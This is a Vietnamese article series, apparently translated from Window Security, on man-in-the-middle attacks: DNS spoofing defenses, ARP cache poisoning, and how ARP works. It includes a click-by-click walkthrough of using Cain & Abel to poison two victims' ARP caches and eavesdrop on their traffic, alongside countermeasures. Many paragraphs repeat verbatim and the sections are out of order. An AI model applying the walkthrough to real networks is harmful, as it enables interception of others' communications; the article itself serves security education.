- Không dựa vào DNS cho các hệ thống bảo mật: Trên các hệ thống an toàn và có độ nhạy cảm cao, không duyệt Internet trên nó là cách thực hiện tốt nhất để không sử dụng đến DNS. Nếu bạn có phần mềm sử dụng hostname để thực hiện một số công việc của nó thì chúng cần phải được điều chỉnh những gì cần thiết trong file cấu hình thiết bị.
- Sử dụng IDS: Một hệ thống phát hiện xâm nhập, khi được đặt và triển khai đúng, có thể vạch mặt các hình thức giả mạo ARP cache và giả mạo DNS.
- Sử dụng DNSSEC: DNSSEC là một giải pháp thay thế mới cho DNS, sử dụng các bản ghi DNS có chữ ký để bảo đảm sự hợp lệ hóa của đáp trả truy vấn. Tuy DNSSEC vẫn chưa được triển khải rộng rãi nhưng nó đã được chấp thuận là “tương lai của DNS”.
Giả mạo DNS là một hình thức tấn công MITM khá nguy
hiểm khi được đi cặp với những dự định ác độc. Sử dụng công nghệ này
những kẻ tấn công có thể tận dụng các kỹ thuật giả mạo để đánh cắp các
thông tin quan trọng của người dùng, hay cài đặt malware trên một ổ đĩa
bị khai thác, hoặc gây ra một tấn công từ chối dịch vụ. Trong phần tiếp
theo của loạt bài này, chúng tôi sẽ giới thiệu tiếp cho các bạn về các
tấn công “pass the hash” và tấn công này có thể được
sử dụng như thế nào để đăng nhập vào các máy tính Windows mà không cần
đến các mật khẩu người dùng.
Theo Window Security
Trong phần đầu tiên của loạt bài giới thiệu về một số hình thức tấn
công MITM hay được sử dụng nhất, chúng tôi sẽ giới thiệu cho các bạn về
tấn công giả mạo ARP Cache, DNS Spoofing, chiếm quyền điều khiển
(hijacking) HTTP session,..
Trong loạt bài này, chúng tôi sẽ giải thích một số hình thức tấn công MITM hay được sử dụng nhất, chẳng hạn như tấn công giả mạo ARP Cache, DNS Spoofing, chiếm quyền điều khiển (hijacking) HTTP session,.. Như những gì bạn thấy trong thế giới thực, hầu hết các máy tính nạn nhân đều là các máy tính Windows. Với lý do đó, loạt bài này chúng tôi sẽ tập trung toàn bộ vào những khai thác MITM trên các máy tính đang chạy hệ điều hành Windows. Có thể tấn công sẽ được thực hiện từ các máy tính Windows. Tuy nhiên trong một số trường hợp, khi không có công cụ nào cho các tấn công hiện diện, chúng tôi sẽ sử dụng Backtrack Linux 4, có thể download dưới dạng một live-CD hoặc một máy ảo tại đây.
Thực chất trong vấn đề hoạt động của ARP được tập trung vào hai gói, một gói ARP request và một gói ARP reply. Mục đích của request và reply là tìm ra địa chỉ MAC phần cứng có liên quan tới địa chỉ IP đã cho để lưu lượng có thể đến được đích của nó trong mạng. Gói request được gửi đến các thiết bị trong đoạn mạng, trong khi gửi nó nói rằng (đây chỉ là nhân cách hóa để giải thích theo hướng dễ hiểu nhất) “Hey, địa chỉ IP của tôi là XX.XX.XX.XX, địa chỉ MAC của tôi là XX:XX:XX:XX:XX:XX. Tôi cần gửi một vài thứ đến một người có địa chỉ XX.XX.XX.XX, nhưng tôi không biết địa chỉ phần cứng này nằm ở đâu trong đoạn mạng của mình. Nếu ai đó có địa chỉ IP này, xin hãy đáp trả lại kèm với địa chỉ MAC của mình!” Đáp trả sẽ được gửi đi trong gói ARP reply và cung cấp câu trả lời, “Hey thiết bị phát. Tôi là người mà bạn đang tìm kiếm với địa chỉ IP là XX.XX.XX.XX. Địa chỉ MAC của tôi là XX:XX:XX:XX:XX:XX.” Khi quá trình này hoàn tất, thiết bị phát sẽ cập nhật bảng ARP cache của nó và hai thiết bị này có thể truyền thông với nhau.
Trước khi bắt đầu, bạn cần lựa chọn một số thông tin bổ sung. Cụ thể như giao diện mạng muốn sử dụng cho tấn công, hai địa chỉ IP của máy tính nạn nhân.
Khi lần đầu mở Cain & Abel, bạn sẽ thấy một loạt các tab ở phía trên cửa sổ. Với mục đích của bài, chúng tôi sẽ làm việc trong tab Sniffer. Khi kích vào tab này, bạn sẽ thấy một bảng trống. Để điền vào bảng này bạn cần kích hoạt bộ sniffer đi kèm của chương trình và quét các máy tính trong mạng của bạn.
Kích vào biểu tượng thứ hai trên thanh công cụ, giống như một card mạng. Thời gian đầu thực hiện, bạn sẽ bị yêu cầu chọn giao diện mà mình muốn sniff (đánh hơi). Giao diện cần phải được kết nối với mạng mà bạn sẽ thực hiện giả mạo ARP cache của mình trên đó. Khi đã chọn xong giao diện, kích OK để kích hoạt bộ sniffer đi kèm của Cain & Abel. Tại đây, biểu tượng thanh công cụ giống như card mạng sẽ bị nhấn xuống. Nếu không, bạn hãy thực hiện điều đó. Để xây dựng một danh sách các máy tính hiện có trong mạng của bạn, hãy kích biểu tượng giống như ký hiệu (+) trên thanh công cụ chính và kích OK.
Những khung lưới trống rỗng lúc này sẽ được điền đầy bởi một danh sách tất cả các thiết bị trong mạng của bạn, cùng với đó là địa chỉ MAC, IP cũng như các thông tin nhận dạng của chúng. Đây là danh sách bạn sẽ làm việc khi thiết lập giả mạo ARP cache.
Ở phía dưới cửa sổ chương trình, bạn sẽ thấy một loạt các tab đưa bạn đến các cửa sổ khác bên dưới tiêu đề Sniffer. Lúc này bạn đã xây dựng được danh sách các thiết bị của mình, nhiệm vụ tiếp theo của bạn là làm việc với tab APR. Chuyển sang cửa sổ APR bằng cách kích tab.
Khi ở trong cửa sổ APR, bạn sẽ thấy hai bảng trống rỗng: một bên phía trên và một phía dưới. Khi thiết lập chúng, bảng phía trên sẽ hiển thị các thiết bị có liên quan trong giả mạo ARP cache và bảng bên dưới sẽ hiển thị tất cả truyền thông giữa các máy tính bị giả mạo.
Tiếp tục thiết lập sự giả mạo ARP bằng cách kích vào biểu tượng giống như dấu (+) trên thanh công cụ chuẩn của chương trình. Cửa sổ xuất hiện có hai cột đặt cạnh nhau. Phía bên trái, bạn sẽ thấy một danh sách tất cả các thiết bị có sẵn trong mạng. Kích địa chỉ IP của một trong những nạn nhân, bạn sẽ thấy các kết quả hiện ra trong cửa sổ bên phải là danh sách tất cả các host trong mạng, bỏ qua địa chỉ IP vừa chọn. Trong cửa sổ bên phải, kích vào địa chỉ IP của nạn nhân khác và kích OK.
Các địa chỉ IP của cả hai thiết bị lúc này sẽ được liệt kê trong bảng phía trên của cửa sổ ứng dụng chính. Để hoàn tất quá trình, kích vào ký hiệu bức xạ (vàng đen) trên thanh công cụ chuẩn. Điều đó sẽ kích hoạt các tính năng giả mạo ARP cache của Cain & Abel và cho phép hệ thống phân tích của bạn trở thành người nghe lén tất cả các cuột truyền thông giữa hai nạn nhân. Nếu bạn muốn thấy những gì đang diễn ra sau phông này, hãy cài đặt Wireshark và lắng nghe từ giao diện khi bạn kích hoạt giả mạo. Bạn sẽ thấy lưu lượng ARP đến hai thiết bị và ngay lập tức thấy sự truyền thông giữa chúng.
Khi kết thúc, hãy kích vào ký hiệu bức xạ (vàng đen) lần nữa để ngừng hành động giả mạo ARP cache.
Có thể thêm các entry vào danh sách này bằng cách sử dụng lệnh arp –s <IP ADDRESS> <MAC ADDRESS>.
Trong các trường hợp, nơi cấu hình mạng của bạn không mấy khi thay đổi, bạn hoàn toàn có thể tạo một danh sách các entry ARP tĩnh và sử dụng chúng cho các client thông qua một kịch bản tự động. Điều này sẽ bảo đảm được các thiết bị sẽ luôn dựa vào ARP cache nội bộ của chúng thay vì các ARP request và ARP reply.
Giới thiệu
Một trong những tấn công mạng thường thấy nhất được sử dụng để chống lại những cá nhân và các tổ chức lớn chính là các tấn công MITM (Man in the Middle). Có thể hiểu nôm na về kiểu tấn công này thì nó như một kẻ nghe trộm. MITM hoạt động bằng cách thiết lập các kết nối đến máy tính nạn nhân và relay các message giữa chúng. Trong trường hợp bị tấn công, nạn nhân cứ tin tưởng là họ đang truyền thông một cách trực tiếp với nạn nhân kia, trong khi đó sự thực thì các luồng truyền thông lại bị thông qua host của kẻ tấn công. Và kết quả là các host này không chỉ có thể thông dịch dữ liệu nhạy cảm mà nó còn có thể gửi xen vào cũng như thay đổi luồng dữ liệu để kiểm soát sâu hơn những nạn nhân của nó.Trong loạt bài này, chúng tôi sẽ giải thích một số hình thức tấn công MITM hay được sử dụng nhất, chẳng hạn như tấn công giả mạo ARP Cache, DNS Spoofing, chiếm quyền điều khiển (hijacking) HTTP session,.. Như những gì bạn thấy trong thế giới thực, hầu hết các máy tính nạn nhân đều là các máy tính Windows. Với lý do đó, loạt bài này chúng tôi sẽ tập trung toàn bộ vào những khai thác MITM trên các máy tính đang chạy hệ điều hành Windows. Có thể tấn công sẽ được thực hiện từ các máy tính Windows. Tuy nhiên trong một số trường hợp, khi không có công cụ nào cho các tấn công hiện diện, chúng tôi sẽ sử dụng Backtrack Linux 4, có thể download dưới dạng một live-CD hoặc một máy ảo tại đây.
Giả mạo ARP Cache (ARP Cache Poisoning)
Trong phần đầu tiên của loạt bài này, chúng tôi sẽ giới thiệu cho các bạn về việc giả mạo ARP cache. Đây là một hình thức tấn công MITM hiện đại có xuất sứ lâu đời nhất (đôi khi còn được biết đến với cái tên ARP Poison Routing), tấn công này cho phép kẻ tấn công (nằm trên cùng một subnet với các nạn nhân của nó) có thể nghe trộm tất cả các lưu lượng mạng giữa các máy tính nạn nhân. Chúng tôi đã chọn đây là tấn công đầu tiên cần giới thiệu vì nó là một trong những hình thức tấn công đơn giản nhất nhưng lại là một hình thức hiệu quả nhất khi được thực hiện bởi kẻ tấn công.Truyền thông ARP thông thường
Giao thức ARP được thiết kế để phục vụ cho nhu cầu thông dịch các địa chỉ giữa các lớp thứ hai và thứ ba trong mô hình OSI. Lớp thứ hai (lớp data-link) sử dụng địa chỉ MAC để các thiết bị phần cứng có thể truyền thông với nhau một cách trực tiếp. Lớp thứ ba (lớp mạng), sử dụng địa chỉ IP để tạo các mạng có khả năng mở rộng trên toàn cầu. Lớp data-link xử lý trực tiếp với các thiết bị được kết nối với nhau, còn lớp mạng xử lý các thiết bị được kết nối trực tiếp và không trực tiếp. Mỗi lớp có cơ chế phân định địa chỉ riêng, và chúng phải làm việc với nhau để tạo nên một mạng truyền thông. Với lý do đó, ARP được tạo với RFC 826, “một giao thức phân định địa chỉ Ethernet - Ethernet Address Resolution Protocol”.Thực chất trong vấn đề hoạt động của ARP được tập trung vào hai gói, một gói ARP request và một gói ARP reply. Mục đích của request và reply là tìm ra địa chỉ MAC phần cứng có liên quan tới địa chỉ IP đã cho để lưu lượng có thể đến được đích của nó trong mạng. Gói request được gửi đến các thiết bị trong đoạn mạng, trong khi gửi nó nói rằng (đây chỉ là nhân cách hóa để giải thích theo hướng dễ hiểu nhất) “Hey, địa chỉ IP của tôi là XX.XX.XX.XX, địa chỉ MAC của tôi là XX:XX:XX:XX:XX:XX. Tôi cần gửi một vài thứ đến một người có địa chỉ XX.XX.XX.XX, nhưng tôi không biết địa chỉ phần cứng này nằm ở đâu trong đoạn mạng của mình. Nếu ai đó có địa chỉ IP này, xin hãy đáp trả lại kèm với địa chỉ MAC của mình!” Đáp trả sẽ được gửi đi trong gói ARP reply và cung cấp câu trả lời, “Hey thiết bị phát. Tôi là người mà bạn đang tìm kiếm với địa chỉ IP là XX.XX.XX.XX. Địa chỉ MAC của tôi là XX:XX:XX:XX:XX:XX.” Khi quá trình này hoàn tất, thiết bị phát sẽ cập nhật bảng ARP cache của nó và hai thiết bị này có thể truyền thông với nhau.
Việc giả mạo Cache
Việc giả mạo bảng ARP chính là lợi dụng bản tính không an toàn của giao thức ARP. Không giống như các giao thức khác, chẳng hạn như DNS (có thể được cấu hình để chỉ chấp nhận các nâng cấp động khá an toàn), các thiết bị sử dụng giao thức phân giải địa chỉ (ARP) sẽ chấp nhận nâng cấp bất cứ lúc nào. Điều này có nghĩa rằng bất cứ thiết bị nào có thể gửi gói ARP reply đến một máy tính khác và máy tính này sẽ cập nhật vào bảng ARP cache của nó ngay giá trị mới này. Việc gửi một gói ARP reply khi không có request nào được tạo ra được gọi là việc gửi ARP “vu vơ”. Khi các ARP reply vu vơ này đến được các máy tính đã gửi request, máy tính request này sẽ nghĩ rằng đó chính là đối tượng mình đang tìm kiếm để truyền thông, tuy nhiên thực chất họ lại đang truyền thông với một kẻ tấn công.Sử dụng Cain & Abel
Hãy để chúng tôi đưa ra một kịch bản và xem xét nó từ góc độ lý thuyết đến thực tế. Có một vài công cụ có thể thực hiện các bước cần thiết để giả mạo ARP cache của các máy tính nạn nhân. Chúng tôi sẽ sử dụng công cụ bảo mật khá phổ biến mang tên Cain & Abel của Oxid.it. Cain & Abel thực hiện khá nhiều thứ ngoài vấn đề giả mạo ARP cache, nó là một công cụ rất hữu dụng cần có trong kho vũ khí của bạn. Việc cài đặt công cụ này khá đơn giản.Trước khi bắt đầu, bạn cần lựa chọn một số thông tin bổ sung. Cụ thể như giao diện mạng muốn sử dụng cho tấn công, hai địa chỉ IP của máy tính nạn nhân.
Khi lần đầu mở Cain & Abel, bạn sẽ thấy một loạt các tab ở phía trên cửa sổ. Với mục đích của bài, chúng tôi sẽ làm việc trong tab Sniffer. Khi kích vào tab này, bạn sẽ thấy một bảng trống. Để điền vào bảng này bạn cần kích hoạt bộ sniffer đi kèm của chương trình và quét các máy tính trong mạng của bạn.
Kích vào biểu tượng thứ hai trên thanh công cụ, giống như một card mạng. Thời gian đầu thực hiện, bạn sẽ bị yêu cầu chọn giao diện mà mình muốn sniff (đánh hơi). Giao diện cần phải được kết nối với mạng mà bạn sẽ thực hiện giả mạo ARP cache của mình trên đó. Khi đã chọn xong giao diện, kích OK để kích hoạt bộ sniffer đi kèm của Cain & Abel. Tại đây, biểu tượng thanh công cụ giống như card mạng sẽ bị nhấn xuống. Nếu không, bạn hãy thực hiện điều đó. Để xây dựng một danh sách các máy tính hiện có trong mạng của bạn, hãy kích biểu tượng giống như ký hiệu (+) trên thanh công cụ chính và kích OK.
Những khung lưới trống rỗng lúc này sẽ được điền đầy bởi một danh sách tất cả các thiết bị trong mạng của bạn, cùng với đó là địa chỉ MAC, IP cũng như các thông tin nhận dạng của chúng. Đây là danh sách bạn sẽ làm việc khi thiết lập giả mạo ARP cache.
Ở phía dưới cửa sổ chương trình, bạn sẽ thấy một loạt các tab đưa bạn đến các cửa sổ khác bên dưới tiêu đề Sniffer. Lúc này bạn đã xây dựng được danh sách các thiết bị của mình, nhiệm vụ tiếp theo của bạn là làm việc với tab APR. Chuyển sang cửa sổ APR bằng cách kích tab.
Khi ở trong cửa sổ APR, bạn sẽ thấy hai bảng trống rỗng: một bên phía trên và một phía dưới. Khi thiết lập chúng, bảng phía trên sẽ hiển thị các thiết bị có liên quan trong giả mạo ARP cache và bảng bên dưới sẽ hiển thị tất cả truyền thông giữa các máy tính bị giả mạo.
Tiếp tục thiết lập sự giả mạo ARP bằng cách kích vào biểu tượng giống như dấu (+) trên thanh công cụ chuẩn của chương trình. Cửa sổ xuất hiện có hai cột đặt cạnh nhau. Phía bên trái, bạn sẽ thấy một danh sách tất cả các thiết bị có sẵn trong mạng. Kích địa chỉ IP của một trong những nạn nhân, bạn sẽ thấy các kết quả hiện ra trong cửa sổ bên phải là danh sách tất cả các host trong mạng, bỏ qua địa chỉ IP vừa chọn. Trong cửa sổ bên phải, kích vào địa chỉ IP của nạn nhân khác và kích OK.
Các địa chỉ IP của cả hai thiết bị lúc này sẽ được liệt kê trong bảng phía trên của cửa sổ ứng dụng chính. Để hoàn tất quá trình, kích vào ký hiệu bức xạ (vàng đen) trên thanh công cụ chuẩn. Điều đó sẽ kích hoạt các tính năng giả mạo ARP cache của Cain & Abel và cho phép hệ thống phân tích của bạn trở thành người nghe lén tất cả các cuột truyền thông giữa hai nạn nhân. Nếu bạn muốn thấy những gì đang diễn ra sau phông này, hãy cài đặt Wireshark và lắng nghe từ giao diện khi bạn kích hoạt giả mạo. Bạn sẽ thấy lưu lượng ARP đến hai thiết bị và ngay lập tức thấy sự truyền thông giữa chúng.
Khi kết thúc, hãy kích vào ký hiệu bức xạ (vàng đen) lần nữa để ngừng hành động giả mạo ARP cache.
Biện pháp phòng chống
Nghiên cứu quá trình giả mạo ARP cache từ quan điểm của người phòng chống, chúng ta có một chút bất lợi. Quá trình ARP xảy ra trong chế độ background nên có rất ít khả năng có thể điều khiển trực tiếp được chúng. Không có một giải pháp cụ thể nào, tuy nhiên chúng ta vẫn cần những lập trường đi tiên phong và phản ứng trở lại nếu bạn lo lắng đến vấn đề giả mạo ARP cache trong mạng của mình.Bảo mật LAN
Giả mạo ARP Cache chỉ là một kỹ thuật tấn công mà nó chỉ sống sót khi cố gắng chặn lưu lượng giữa hai thiết bị trên cùng một LAN. Chỉ có một lý do khiến cho bạn lo sợ về vấn đề này là liệu thiết bị nội bộ trên mạng của bạn có bị thỏa hiệp, người dùng tin cậy có ý định hiểm độc hay không hoặc liệu có ai đó có thể cắm một thiết bị không tin cậy vào mạng. Mặc dù chúng ta thường tập trung toàn bộ những cố gắng bảo mật của mình lên phạm vi mạng nhưng việc phòng chống lại những mối đe dọa ngay từ bên trong và việc có một thái độ bảo mật bên trong tốt có thể giúp bạn loại trừ được sự sợ hãi trong tấn công được đề cập ở đây.Mã hóa ARP Cache
Một cách có thể bảo vệ chống lại vấn đề không an toàn vốn có trong các ARP request và ARP reply là thực hiện một quá trình kém động hơn. Đây là một tùy chọn vì các máy tính Windows cho phép bạn có thể bổ sung các entry tĩnh vào ARP cache. Bạn có thể xem ARP cache của máy tính Windows bằng cách mở nhắc lệnh và đánh vào đó lệnh arp –a.Có thể thêm các entry vào danh sách này bằng cách sử dụng lệnh arp –s <IP ADDRESS> <MAC ADDRESS>.
Trong các trường hợp, nơi cấu hình mạng của bạn không mấy khi thay đổi, bạn hoàn toàn có thể tạo một danh sách các entry ARP tĩnh và sử dụng chúng cho các client thông qua một kịch bản tự động. Điều này sẽ bảo đảm được các thiết bị sẽ luôn dựa vào ARP cache nội bộ của chúng thay vì các ARP request và ARP reply.
Kiểm tra lưu lượng ARP với chương trình của hãng thứ ba
Tùy chọn cuối cùng cho việc phòng chống lại hiện tượng giả mạo ARP cache là phương pháp phản ứng có liên quan đến việc kiểm tra lưu lượng mạng của các thiết bị. Bạn có thể thực hiện điều này với một vài hệ thống phát hiện xâm phạm (chẳng hạn như Snort) hoặc thông qua các tiện ích được thiết kế đặc biệt cho mục đích này (như xARP). Điều này có thể khả thi khi bạn chỉ quan tâm đến một thiết bị nào đó, tuy nhiên nó vẫn khá cồng kềnh và vướng mắc trong việc giải quyết với toàn bộ đoạn mạng.Kết luận
Giả mạo ARP Cache là một chiêu khá hiệu quả trong thế giới những kẻ tấn công thụ động “man-in-the-middle” vì nó rất đơn giản nhưng lại hiệu quả. Hiện việc giả mạo ARP Cache vẫn là một mối đe dọa rất thực trên các mạng hiện đại, vừa khó bị phát hiện và khó đánh trả. Trong phần tiếp theo của loạt bài này, chúng tôi sẽ tập trung vào vấn đề phân giải tên và khái niệm giả mạo DNS.
ARP và nguyên tắc làm việc trong mạng LAN
Như ta đã biết tại tầng Network của mô hình OSI , chúng ta thường sử dụng các loại địa chỉ mang tính chất quy ước như IP, IPX… Các địa chỉ này được phân thành hai phần riêng biệt là phần địa chỉ mạng (NetID) và phần địa chỉ máy ( HostID) . Cách đánh số địa chỉ như vậy nhằm giúp cho việc tìm ra các đường kết nối từ hệ thống mạng này sang hệ thống mạng khác được dễ dàng hơn. Các địa chỉ này có thể được thay đổi theo tùy ý người sử dụng.
Trên thực tế, các card mạng (NIC) chỉ có thể kết nối với nhau theo địa chỉ MAC, địa chỉ cố định và duy nhất của phần cứng. Do vậy ta phải có một cơ chế để chuyển đổi các dạng địa chỉ này qua lại với nhau. Từ đó ta có giao thức phân giải địa chỉ: Address Resolution Protocol (ARP).
Như ta đã biết tại tầng Network của mô hình OSI , chúng ta thường sử dụng các loại địa chỉ mang tính chất quy ước như IP, IPX… Các địa chỉ này được phân thành hai phần riêng biệt là phần địa chỉ mạng (NetID) và phần địa chỉ máy ( HostID) . Cách đánh số địa chỉ như vậy nhằm giúp cho việc tìm ra các đường kết nối từ hệ thống mạng này sang hệ thống mạng khác được dễ dàng hơn. Các địa chỉ này có thể được thay đổi theo tùy ý người sử dụng.
Trên thực tế, các card mạng (NIC) chỉ có thể kết nối với nhau theo địa chỉ MAC, địa chỉ cố định và duy nhất của phần cứng. Do vậy ta phải có một cơ chế để chuyển đổi các dạng địa chỉ này qua lại với nhau. Từ đó ta có giao thức phân giải địa chỉ: Address Resolution Protocol (ARP).
Nguyên tắc làm việc của ARP trong một mạng LAN
Khi một thiết bị mạng muốn biết địa chỉ MAC của một thiết bị mạng nào đó mà nó đã biết địa chỉ ở tầng network (IP, IPX…) nó sẽ gửi một ARP request bao gồm địa chỉ MAC address của nó và địa chỉ IP của thiết bị mà nó cần biết MAC address trên toàn bộ một miền broadcast. Mỗi một thiết bị nhận được request này sẽ so sánh địa chỉ IP trong request với địa chỉ tầng network của mình. Nếu trùng địa chỉ thì thiết bị đó phải gửi ngược lại cho thiết bị gửi ARP request một gói tin (trong đó có chứa địa chỉ MAC của mình). Trong một hệ thống mạng đơn giản, ví dụ như PC A muốn gửi gói tin đến PC B và nó chỉ biết được địa chỉ IP của PC B. Khi đó PC A sẽ phải gửi một ARP broadcast cho toàn mạng để hỏi xem "địa chỉ MAC của PC có địa chỉ IP này là gì ?" Khi PC B nhận được broadcast này, nó sẽ so sánh địa chỉ IP trong gói tin này với địa chỉ IP của nó. Nhận thấy địa chỉ đó là địa chỉ của mình, PC B sẽ gửi lại một gói tin cho PC A trong đó có chứa địa chỉ MAC của B. Sau đó PC A mới bắt đầu truyền gói tin cho B.
Khi một thiết bị mạng muốn biết địa chỉ MAC của một thiết bị mạng nào đó mà nó đã biết địa chỉ ở tầng network (IP, IPX…) nó sẽ gửi một ARP request bao gồm địa chỉ MAC address của nó và địa chỉ IP của thiết bị mà nó cần biết MAC address trên toàn bộ một miền broadcast. Mỗi một thiết bị nhận được request này sẽ so sánh địa chỉ IP trong request với địa chỉ tầng network của mình. Nếu trùng địa chỉ thì thiết bị đó phải gửi ngược lại cho thiết bị gửi ARP request một gói tin (trong đó có chứa địa chỉ MAC của mình). Trong một hệ thống mạng đơn giản, ví dụ như PC A muốn gửi gói tin đến PC B và nó chỉ biết được địa chỉ IP của PC B. Khi đó PC A sẽ phải gửi một ARP broadcast cho toàn mạng để hỏi xem "địa chỉ MAC của PC có địa chỉ IP này là gì ?" Khi PC B nhận được broadcast này, nó sẽ so sánh địa chỉ IP trong gói tin này với địa chỉ IP của nó. Nhận thấy địa chỉ đó là địa chỉ của mình, PC B sẽ gửi lại một gói tin cho PC A trong đó có chứa địa chỉ MAC của B. Sau đó PC A mới bắt đầu truyền gói tin cho B.
Nguyên tắc hoạt động của ARP trong môi trường hệ thống mạng
Hoạt động của ARP trong một môi trường phức tạp hơn đó là hai hệ thống mạng gắn với nhau thông qua một Router C. Máy A thuộc mạng A muốn gửi gói tin đến máy B thuộc mạng B. Do các broadcast không thể truyền qua Router nên khi đó máy A sẽ xem Router C như một cầu nối hay một trung gian (Agent) để truyền dữ liệu. Trước đó, máy A sẽ biết được địa chỉ IP của Router C (địa chỉ Gateway) và biết được rằng để truyền gói tin tới B phải đi qua C. Tất cả các thông tin như vậy sẽ được chứa trong một bảng gọi là bảng định tuyến (routing table). Bảng định tuyến theo cơ chế này được lưu giữ trong mỗi máy. Bảng định tuyến chứa thông tin về các Gateway để truy cập vào một hệ thống mạng nào đó. Ví dụ trong trường hợp trên trong bảng sẽ chỉ ra rằng để đi tới LAN B phải qua port X của Router C. Bảng định tuyến sẽ có chứa địa chỉ IP của port X. Quá trình truyền dữ liệu theo từng bước sau :
- Máy A gửi một ARP request (broadcast) để tìm địa chỉ MAC của port X.
- Router C trả lời, cung cấp cho máy A địa chỉ MAC của port X.
- Máy A truyền gói tin đến port X của Router.
- Router nhận được gói tin từ máy A, chuyển gói tin ra port Y của Router. Trong gói tin có chứa địa chỉ IP của máy B. Router sẽ gửi ARP request để tìm địa chỉ MAC của máy B.
- Máy B sẽ trả lời cho Router biết địa chỉ MAC của mình. Sau khi nhận được địa chỉ MAC của máy B, Router C gửi gói tin của A đến B.
Trên thực tế ngoài dạng bảng định tuyến này người ta còn dùng phương pháp proxyARP, trong đó có một thiết bị đảm nhận nhiệm vụ phân giải địa chỉ cho tất cả các thiết bị khác.Theo đó các máy trạm không cần giữ bảng định tuyến nữa Router C sẽ có nhiệm vụ thực hiện, trả lời tất cả các ARP request của tất cả các máy.
Hoạt động của ARP trong một môi trường phức tạp hơn đó là hai hệ thống mạng gắn với nhau thông qua một Router C. Máy A thuộc mạng A muốn gửi gói tin đến máy B thuộc mạng B. Do các broadcast không thể truyền qua Router nên khi đó máy A sẽ xem Router C như một cầu nối hay một trung gian (Agent) để truyền dữ liệu. Trước đó, máy A sẽ biết được địa chỉ IP của Router C (địa chỉ Gateway) và biết được rằng để truyền gói tin tới B phải đi qua C. Tất cả các thông tin như vậy sẽ được chứa trong một bảng gọi là bảng định tuyến (routing table). Bảng định tuyến theo cơ chế này được lưu giữ trong mỗi máy. Bảng định tuyến chứa thông tin về các Gateway để truy cập vào một hệ thống mạng nào đó. Ví dụ trong trường hợp trên trong bảng sẽ chỉ ra rằng để đi tới LAN B phải qua port X của Router C. Bảng định tuyến sẽ có chứa địa chỉ IP của port X. Quá trình truyền dữ liệu theo từng bước sau :
- Máy A gửi một ARP request (broadcast) để tìm địa chỉ MAC của port X.
- Router C trả lời, cung cấp cho máy A địa chỉ MAC của port X.
- Máy A truyền gói tin đến port X của Router.
- Router nhận được gói tin từ máy A, chuyển gói tin ra port Y của Router. Trong gói tin có chứa địa chỉ IP của máy B. Router sẽ gửi ARP request để tìm địa chỉ MAC của máy B.
- Máy B sẽ trả lời cho Router biết địa chỉ MAC của mình. Sau khi nhận được địa chỉ MAC của máy B, Router C gửi gói tin của A đến B.
Trên thực tế ngoài dạng bảng định tuyến này người ta còn dùng phương pháp proxyARP, trong đó có một thiết bị đảm nhận nhiệm vụ phân giải địa chỉ cho tất cả các thiết bị khác.Theo đó các máy trạm không cần giữ bảng định tuyến nữa Router C sẽ có nhiệm vụ thực hiện, trả lời tất cả các ARP request của tất cả các máy.
ARP cache
ARP cache có thể coi như một bảng có chứa một tập tương ứng giữa các phần cứng và địa chỉ Internet Protocol (IP). Mỗi một thiết bị trên một mạng nào đó đều có cache riêng. Có hai cách lưu giữ các entry trong cache để phân giải địa chỉ diễn ra nhanh. Đó là:
* Các entry ARP Cache tĩnh. Ở đây, sự phân giải địa chỉ phải được add một cách thủ công vào bảng cache và được duy trì lâu dài.
* Các entry ARP Cache động. Ở đây, các địa chỉ IP và phần cứng được giữ trong cache bởi phần mềm sau khi nhận được kết quả của việc hoàn thành quá trình phân giải trước đó. Các địa chỉ được giữ tạm thời và sau đó được gỡ bỏ.
ARP Cache biến một quá trình có thể gây lãng phí về mặt thời gian thành một quá trình sử dụng thời gian một cách hiệu quả. Mặc dù vậy nó có thể bắt gặp một số vấn đề. Cần phải duy trì bảng cache. Thêm vào đó cũng có thể các entry cache bị “cũ” theo thời gian, vì vậy cần phải thực thi hết hiệu lực đối với các entry cache sau một quãng thời gian nào đó.
ARP cache có thể coi như một bảng có chứa một tập tương ứng giữa các phần cứng và địa chỉ Internet Protocol (IP). Mỗi một thiết bị trên một mạng nào đó đều có cache riêng. Có hai cách lưu giữ các entry trong cache để phân giải địa chỉ diễn ra nhanh. Đó là:
* Các entry ARP Cache tĩnh. Ở đây, sự phân giải địa chỉ phải được add một cách thủ công vào bảng cache và được duy trì lâu dài.
* Các entry ARP Cache động. Ở đây, các địa chỉ IP và phần cứng được giữ trong cache bởi phần mềm sau khi nhận được kết quả của việc hoàn thành quá trình phân giải trước đó. Các địa chỉ được giữ tạm thời và sau đó được gỡ bỏ.
ARP Cache biến một quá trình có thể gây lãng phí về mặt thời gian thành một quá trình sử dụng thời gian một cách hiệu quả. Mặc dù vậy nó có thể bắt gặp một số vấn đề. Cần phải duy trì bảng cache. Thêm vào đó cũng có thể các entry cache bị “cũ” theo thời gian, vì vậy cần phải thực thi hết hiệu lực đối với các entry cache sau một quãng thời gian nào đó.
Theo Window Security

